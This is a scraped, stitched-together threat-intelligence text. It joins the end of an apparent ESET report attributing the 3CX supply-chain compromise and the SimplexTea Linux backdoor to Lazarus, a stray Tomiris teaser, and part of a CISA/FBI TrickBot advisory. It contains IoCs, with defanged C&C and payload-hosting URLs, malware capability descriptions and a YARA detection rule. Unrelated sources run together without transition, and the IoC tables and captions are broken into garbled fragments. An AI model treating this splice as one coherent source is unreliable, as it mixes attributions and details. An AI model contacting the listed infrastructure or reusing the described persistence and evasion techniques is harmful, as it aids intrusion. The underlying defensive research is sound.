This is based on the following factors: Malware (the intrusion set): The IconicLoader (samcli.dll) uses the same type of strong encryption – AES-GCM – as SimplexTea (whose attribution to Lazarus was established via the similarity with BALLCALL for Linux); only the keys and initialization vectors differ.


Based on the PE Rich Headers, both IconicLoader (samcli.dll) and IconicStealer (sechost.dll) are projects of a similar size and compiled in the same Visual Studio environment as the executables iertutil.dll (SHA-1: 5B03294B72C0CAA5FB20E7817002C600645EB475) and iertutil.dll (SHA-1: 7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC) reported in the Lazarus cryptocurrency campaigns by Volexity and Microsoft.


We include below the YARA rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023, which flags all these samples, and no unrelated malicious or clean files, as tested on the current ESET databases and recent VirusTotal submissions.


SimplexTea payload loads its configuration in a very similar way to the SIMPLESEA malware from the 3CX official incident response.


The XOR key differs (0x5E vs. 0x7E), but the configuration bears the same name: apdl.cf (see Figure 8). Figure 8.


Loading a configuration file by SimplexTea for Linux, cf.


Figure 6 Infrastructure: There is shared network infrastructure with SimplexTea, as it uses https://journalide[.]org/djour.php as it C&C, whose domain is reported in the official results of the incident response of the 3CX compromise by Mandiant.


A hardcoded URL in SimplexTea for Linux Conclusion The 3CX compromise has gained a lot of attention from the security community since its disclosure on March 29th.


This compromised software, deployed on various IT infrastructures, which allows the download and execution of any kind of payload, can have devastating impacts.


Unfortunately, no software publisher is immune to being compromised and inadvertently distributing trojanized versions of their applications.


The stealthiness of a supply-chain attack makes this method of distributing malware very appealing from an attacker’s perspective.


Lazarus has already used this technique in the past, targeting South Korean users of WIZVERA VeraPort software in 2020.


Similarities with existing malware from the Lazarus toolset and with the group’s typical techniques strongly suggest the recent 3CX compromise is the work of Lazarus as well.


It is also interesting to note that Lazarus can produce and use malware for all major desktop operating systems: Windows, macOS, and Linux.


Both Windows and macOS systems were targeted during the 3CX incident, with 3CX’s VoIP software for both operating systems being trojanized to include malicious code to fetch arbitrary payloads.


In the case of 3CX, both Windows and macOS second-stage malware versions exist.


This article demonstrates the existence of a Linux backdoor that probably corresponds to the SIMPLESEA macOS malware seen in the 3CX incident.


We named this Linux component SimplexTea and showed that it is part of Operation DreamJob, Lazarus’s flagship campaign using job offers to lure and compromise unsuspecting victims.


For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. ESET Research offers private APT intelligence reports and data feeds.


IoCs Files SHA-1FilenameESET detection nameDescription 0CA1723AFE261CD85B05C9EF424FC50290DCE7DFguiconfigdLinux/NukeSped.


ESimplexTea for Linux.


3A63477A078CE10E53DFB5639E35D74F93CEFA81HSBC_job_offer․pdfLinux/NukeSped.


EOdicLoader, a 64-bit downloader for Linux, written in Go. 9D8BADE2030C93D0A010AA57B90915EB7D99EC82HSBC_job_offer.pdf.zipLinux/NukeSped.


EA ZIP archive with a Linux payload, from VirusTotal.


GBADCALL for Linux.


First seen2023-03-20 12:00:35 MD5CEDB9CDBAD254F60CFB215B9BFF84FB9 SHA-10CA1723AFE261CD85B05C9EF424FC50290DCE7DF SHA-256EEBB01932DE0B5605DD460CC82844D8693C00EA8AB5FFDF8DBEDE6528C1C18FD Filenameguiconfigd DescriptionSimplexTea for Linux.


C&Chttps://journalide[.]org/djour.php Downloaded fromhttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia DetectionLinux/NukeSped.


E PE compilation timestampN/A


First seen2023-03-16 07:44:18 MD53CF7232E5185109321921046D039CF10 SHA-13A63477A078CE10E53DFB5639E35D74F93CEFA81 SHA-256492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD FilenameHSBC_job_offer․pdf DescriptionOdicLoader, a 64-bit downloader for Linux, in Go. C&Chttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia Downloaded fromN/A DetectionLinux/NukeSped.


First seen2023-03-20 02:23:29 MD5FC41CB8425B6432AF8403959BB59430D SHA-19D8BADE2030C93D0A010AA57B90915EB7D99EC82 SHA-256F638E5A20114019AD066DD0E856F97FD865798D8FBED1766662D970BEFF652CA FilenameHSBC_job_offer.pdf.zip DescriptionA ZIP archive with a Linux payload, from VirusTotal.


C&CN/A Downloaded fromN/A DetectionLinux/NukeSped.


First seen2023-02-01 23:47:05 MD5AAC5A52B939F3FE792726A13FF7A1747 SHA-1F6760FB1F8B019AF2304EA6410001B63A1809F1D SHA-256CC307CFB401D1AE616445E78B610AB72E1C7FB49B298EA003DD26EA80372089A Filenamesysnetd DescriptionBADCALL for Linux.


C&Ctcp://23.254.211[.]230 Downloaded fromN/A DetectionLinux/NukeSped.


G PE compilation timestampN/A Network IP addressDomainHosting providerFirst seenDetails 23.254.211[.]230N/AHostwinds LLC.N/AC&C server for BADCALL for Linux 38.108.185[.]7938.108.185[.]115od[.]lkCogent Communications2023-03-16Remote OpenDrive storage containing SimplexTea (/d/NTJfMzg4MDE1NzJf/vxmedia) 172.93.201[.]88journalide[.]orgNexeon Technologies, Inc.2023-03-29C&C server for SimplexTea (/djour.php) MITRE ATT&CK techniques TacticIDNameDescription ReconnaissanceT1593.001Search Open Websites/Domains: Social MediaLazarus attackers probably approached a target with a fake HSBC-themed job offer that would fit the target’s interest.


This has been done mostly via LinkedIn in the past.


Resource DevelopmentT1584.001Acquire Infrastructure:


DomainsUnlike many previous cases of compromised C&Cs used in Operation DreamJob, Lazarus operators registered their own domain for the Linux target.


T1587.001Develop Capabilities: MalwareCustom tools from the attack are very likely developed by the attackers.


T1585.003Establish Accounts: Cloud AccountsThe attackers hosted the final stage on the cloud service OpenDrive.


T1608.001Stage Capabilities: Upload MalwareThe attackers hosted the final stage on the cloud service OpenDrive.


Execution: Malicious FileOdicLoader masquerades as a PDF file in order to fool the target.


Initial AccessT1566.002Phishing: Spearphishing LinkThe target likely received a link to third-party remote storage with a malicious ZIP archive, which was later submitted to VirusTotal.


PersistenceT1546.004Event Triggered Execution: Unix Shell Configuration ModificationOdicLoader modifies the victim’s Bash profile, so SimplexTea is launched each time Bash is stared and its output is muted.


Defense EvasionT1134.002Access Token Manipulation: Create Process with TokenSimplexTea can create a new process, if instructed by its C&C server.


T1140Deobfuscate/Decode Files or InformationSimplexTea stores its configuration in an encrypted apdl.cf. T1027.009Obfuscated Files or Information: Embedded PayloadsThe droppers of all malicious chains contain an embedded data array with an additional stage.


T1562.003Impair Defenses: Impair Command History LoggingOdicLoader modifies the victim’s Bash profile, so the output and error messages from SimplexTea are muted.


SimplexTea executes new processes with the same technique.


T1070.004Indicator Removal: File DeletionSimplexTea has the ability to delete files securely.


T1497.003Virtualization/Sandbox Evasion: Time Based EvasionSimplexTea implements multiple custom sleep delays in its execution.


DiscoveryT1083File and Directory DiscoverySimplexTea can list the directory content together with their names, sizes, and timestamps (mimicking the ls -la command).


Command and ControlT1071.001Application Layer Protocol: Web ProtocolsSimplexTea can use HTTP and HTTPS for communication with its C&C server, using a statically linked Curl library.


Symmetric CryptographySimplexTea encrypts C&C traffic using the AES-GCM algorithm.


T1132.001Data Encoding: Standard EncodingSimplexTea encodes C&C traffic using base64.


T1090ProxySimplexTea can utilize a proxy for communications.


Over C2 ChannelSimplexTea can exfiltrate data as ZIP archives to its C&C server.


Appendix This YARA rule flags the cluster containing both IconicLoader and IconicStealer, as well as the payloads deployed in the cryptocurrency campaigns from December 2022. 123456789101112131415161718192021 /*The following rule will only work with YARA version >= 3.11.0*/import "pe"rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023{ meta: description = " Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12" author = "ESET Research" date = "2023-03-31" hash = "3B88CDA62CDD918B62EF5AA8C5A73A46F176D18B" hash = "CAD1120D91B812ACAFEF7175F949DD1B09C6C21A" hash = "5B03294B72C0CAA5FB20E7817002C600645EB475" hash = "7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC" condition: pe.rich_signature.toolid(259, 30818) == 9 and pe.rich_signature.toolid(256, 31329) == 1 and pe.rich_signature.toolid(261, 30818) >= 30 and pe.rich_signature.toolid(261, 30818) <


= 38 and pe.rich_signature.toolid(261, 29395)


>= 134 and pe.rich_signature.toolid(261, 29395)


<= 164 and pe.rich_signature.toolid(257, 29395)


>= 6 and pe.rich_signature.toolid(257, 29395)


<= 14} 20 Apr 2023 - 11:30AM


We continued to track Tomiris as a separate threat actor over three new attack campaigns between 2021 and 2023, and our telemetry allowed us to shed light on the group.

Tomiris called they want their Turla malware back


In this blog post, we’re excited to share what we now know of Tomiris with the broader community, and discuss further evidence of a possible connection to Turla.


Original release date: March 17, 2021 | Last revised: May 20, 2021SummaryThis Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework, Version 8.


The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have observed continued targeting through spearphishing campaigns using TrickBot malware in North America.


A sophisticated group of cybercrime actors is luring victims, via phishing emails, with a traffic infringement phishing scheme to download TrickBot.


TrickBot—first identified in 2016—is a Trojan developed and operated by a sophisticated group of cybercrime actors.


Originally designed as a banking Trojan to steal financial data, TrickBot has evolved into highly modular, multi-stage malware that provides its operators a full suite of tools to conduct a myriad of illegal cyber activities.


To secure against TrickBot, CISA and FBI recommend implementing the mitigation measures described in this Joint Cybersecurity Advisory, which include blocking suspicious Internet Protocol addresses, using antivirus software, and providing social engineering and phishing training to employees.


Technical DetailsTrickBot is an advanced Trojan that malicious actors spread primarily by spearphishing campaigns using tailored emails that contain malicious attachments or links, which—if enabled—execute malware (Phishing:


Spearphishing Attachment


Phishing: Spearphishing Link


CISA and FBI are aware of recent attacks that use phishing emails, claiming to contain proof of a traffic violation, to steal sensitive information.


The phishing emails contain links that redirect to a website hosted on a compromised server that prompts the victim to click on photo proof of their traffic violation.


(User Execution: Malicious Link [T1204.001], User Execution: Malicious File [T1204.002]).


In clicking the photo, the victim unknowingly downloads a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s command and control (C2) server to download TrickBot to the victim’s system (Command and Scripting Interpreter:


JavaScript [T1059.007]).


Attackers can use TrickBot to: Drop other malware, such as Ryuk and Conti ransomware, or Serve as an Emotet downloader (Ingress Tool Transfer [T1105]).[1] TrickBot uses person-in-the-browser attacks to steal information, such as login credentials (Man in the Browser


Additionally, some of TrickBot’s modules spread the malware laterally across a network by abusing the Server Message Block (SMB) Protocol.


TrickBot operators have a toolset capable of spanning the entirety of the MITRE ATT&CK framework, from actively or passively gathering information that can be used to support targeting (Reconnaissance [TA0043]), to trying to manipulate, interrupt, or destroy systems and data (Impact [TA0040]).


TrickBot is capable of data exfiltration over a hardcoded C2 server, cryptomining, and host enumeration (e.g., reconnaissance of Unified Extensible Firmware Interface or Basic Input/Output System [UEFI/BIOS] firmware) (Exfiltration Over C2 Channel


[T1041], Resource Hijacking [T1496], System Information Discovery.[2]


For host enumeration, operators deliver TrickBot in modules containing a configuration file with specific tasks.


Figure 1 lays out TrickBot’s use of enterprise techniques. Figure 1: MITRE ATT&CK enterprise techniques used by TrickBot MITRE ATT&CK Techniques According to MITRE, TrickBot [S0266] uses the ATT&CK techniques listed in table 1. Table 1: TrickBot ATT&CK techniques for


enterprise Initial Access


[TA0001] Technique Title ID Use Phishing:


Spearphishing Attachment T1566.001 TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware.


Phishing: Spearphishing Link T1566.002 TrickBot has been delivered via malicious links in phishing emails.


Execution [TA0002] Technique Title ID Use Scheduled Task/Job: Scheduled


Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.


Windows Command Shell T1059.003 TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine. Command and Scripting Interpreter: JavaScript/JScript T1059.007 TrickBot victims unknowingly download a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s C2 server to download TrickBot to the victim’s system.


Native API T1106 TrickBot uses the Windows Application Programming Interface (API) call, CreateProcessW(), to manage execution flow.


User Execution: Malicious Link T1204.001 TrickBot has sent spearphishing emails in an attempt to lure users to click on a malicious link.


User Execution: Malicious File T1204.002 TrickBot has attempted to get users to launch malicious documents to deliver its payload.


Persistence [TA0003] Technique Title ID Use Scheduled Task/Job: Scheduled Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.


Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots. Privilege Escalation


[TA0004] Technique Title ID Use Scheduled Task/Job: Scheduled


Process Injection: Process Hollowing T1055.012 TrickBot injects into the svchost.exe process.


Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.


[TA0005] Technique Title ID Use Obfuscated Files or Information T1027 TrickBot uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.


Obfuscated Files or Information: Software Packing T1027.002 TrickBot leverages a custom packer to obfuscate its functionality.


Masquerading T1036 The TrickBot downloader has used an icon to appear as a Microsoft Word document.


Modify Registry T1112 TrickBot can modify registry entries.


Deobfuscate/Decode Files or Information T1140 TrickBot decodes the configuration data and modules.


Subvert Trust Controls: Code Signing T1553.002 TrickBot has come with a signed downloader component.


Impair Defenses: Disable or Modify Tools T1562.001 TrickBot can disable Windows Defender.